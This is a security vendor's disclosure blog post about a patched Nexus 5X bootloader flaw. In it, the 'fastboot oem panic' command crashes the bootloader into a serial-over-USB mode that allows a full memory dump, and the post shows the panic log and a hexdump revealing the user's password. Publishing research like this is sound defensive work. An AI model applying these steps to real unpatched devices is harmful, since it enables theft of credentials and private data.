The IBM X-Force Application Security Research Team recently discovered a previously undocumented vulnerability in older versions of Nexus 5X’s Android images (6.0 MDA89E through 6.0.1 MMB29V or bootloaders bhz10i/k). The first nonvulnerable version is MHC19J (bootloader bhz10m), released in March 2016.

The vulnerability would have permitted an attacker to obtain a full memory dump of the Nexus 5X device, allowing sensitive information to be exfiltrated from the device without it being unlocked. Clearly such an ability would have been very appealing to thieves. Fortunately, IBM is not aware of any exploitation attempts of this vulnerability.

The vulnerability could have been exploited by physical or nonphysical attackers with Android Debug Bridge (ADB) access to the device. A nonphysical attacker could gain ADB access by infecting an ADB-authorized developer’s PC with malware or by using malicious chargers targeting ADB-enabled devices. Using such chargers requires the victim to authorize the charger once connected.

IBM disclosed this issue to Android a few months ago, and the Android Security Team recently acknowledged it was patched.

Behind the Curtain of the Nexus 5X Vulnerability

The vulnerability and its exploitation are rather straightforward: The attacker reboots the phone into fastboot mode, which can be done without any authentication. A physical attacker can do this by pressing the volume down button during device boot. An attacker with ADB access can do this by issuing the adb reboot bootloader command. The fastboot mode exposes a USB interface, which, on locked devices, must not allow any security-sensitive operation to be commanded.

However, we discovered that if the attacker issued the fastboot oem panic command via the fastboot USB interface, the bootloader would be forced to crash:

[38870] fastboot: oem panic
[38870] panic (frame 0xf9b1768):
[38870] r0 0x0f9972c4 r1 0x4e225c22 r2 0x7541206f r3 0x74206874
[38870] r4 0x0f9972e8 r5 0x0f96715c r6 0x0f9972f0 r7 0x0f9670ec
[38870] r8 0x0f92e070 r9 0x00000000 r10 0x00000000 r11 0x00000000
[38870] r12 0x0f92e070 usp 0x0f9650ec ulr 0x00000000 pc 0x0f99c75c
[38870] spsr 0x0f936964
[38870] fiq r13 0x0f989490 r14 0x00000000
[38870] irq r13 0x0f989490 r14 0x0f9004f4
[38870] svc r13 0x0f9b16f0 r14 0x0f92dd0c
[38870] und r13 0x0f989490 r14 0x00000000
[38870] sys r13 0x00000000 r14 0x00000000

[38880] panic (caller 0xf936964): generate test-panic

Source: IBM X-Force Application Security Research Team

No (Memory) Dumping

The problem is that in the vulnerable versions of the bootloader, such a crash would cause the bootloader to expose a serial-over-USB connection, which would allow an attacker to obtain a full memory dump of the device using tools such as QPST Configuration. The resulting memory dump files would then be available under the attacker’s PC.

To illustrate the severity of the attack, as the victim, I set the device password to “buggybootload3r” and then searched it in the memory dump:

> hexdump DDRCS0_0.BIN | grep -10 bootloa


2675d060: 6f 00 69 00 64 00 2e 00 – 73 00 65 00 72 00 76 00 o.i.d… s.e.r.v.
2675d070: 69 00 63 00 65 00 2e 00 – 67 00 61 00 74 00 65 00 i.c.e… g.a.t.e.
2675d080: 6b 00 65 00 65 00 70 00 – 65 00 72 00 2e 00 49 00 k.e.e.p. e.r…I.
2675d090: 47 00 61 00 74 00 65 00 – 4b 00 65 00 65 00 70 00 G.a.t.e. K.e.e.p.
2675d0a0: 65 00 72 00 53 00 65 00 – 72 00 76 00 69 00 63 00 e.r.S.e. r.v.i.c.
2675d0b0: 65 00 00 00 00 00 00 00 – 3a 00 00 00 00 0d c4 b6 e……. ……..
2675d0c0: 6d 42 cd 0a b1 00 00 00 – 00 00 00 00 00 00 00 00 mB…… ……..
2675d0d0: 00 00 00 00 00 92 86 33 – e3 79 92 8b b7 d4 77 f5 …….3 .y….w.
2675d0e0: 94 7f d0 2b fb b8 6e cc – 98 3b 9a a7 0d 7c 60 f6 ……n. ……..
2675d0f0: d7 70 68 c2 14 01 00 00 – 0f 00 00 00 62 75 67 67 .ph….. ….bugg
2675d100: 79 62 6f 6f 74 6c 6f 61 – 64 33 72 00 62 75 67 67 ybootloa d3r.bugg

As you can see, the password can be found on the fetched memory dump. Physical attackers can then successfully boot the platform, which further allows them to impersonate the user, access data stored on the device and more.

For technical details on this research, see the X-Force Advisory on X-Force Exchange.

More from Endpoint

Combining EPP and EDR tools can boost your endpoint security

6 min read - Endpoint protection platform (EPP) and endpoint detection and response (EDR) tools are two security products commonly used to protect endpoint systems from threats. EPP is a comprehensive security solution that provides a range of features to detect and prevent threats to endpoint devices. At the same time, EDR is specifically designed to monitor, detect and respond to endpoint threats in real-time. EPP and EDR have some similarities, as they both aim to protect endpoints from threats, but they also have…

The needs of a modernized SOC for hybrid cloud

5 min read - Cybersecurity has made a lot of progress over the last ten years. Improved standards (e.g., MITRE), threat intelligence, processes and technology have significantly helped improve visibility, automate information gathering (SOAR) and many manual tasks. Additionally, new analytics (UEBA/SIEM) and endpoint (EDR) technologies can detect and often stop entire classes of threats. Now we are seeing the emergence of technologies such as attack surface management (ASM), which are starting to help organisations get more proactive and focus their efforts for maximum…

X-Force identifies vulnerability in IoT platform

4 min read - The last decade has seen an explosion of IoT devices across a multitude of industries. With that rise has come the need for centralized systems to perform data collection and device management, commonly called IoT Platforms. One such platform, ThingsBoard, was the recent subject of research by IBM Security X-Force. While there has been a lot of discussion around the security of IoT devices themselves, there is far less conversation around the security of the platforms these devices connect with.…

X-Force prevents zero day from going anywhere

8 min read - This blog was made possible through contributions from Fred Chidsey and Joseph Lozowski. The 2023 X-Force Threat Intelligence Index shows that vulnerability discovery has rapidly increased year-over-year and according to X-Force’s cumulative vulnerability and exploit database, only 3% of vulnerabilities are associated with a zero day. X-Force often observes zero-day exploitation on Internet-facing systems as a vector for initial access however, X-Force has also observed zero-day attacks leveraged by attackers to accomplish their goals and objectives after initial access was…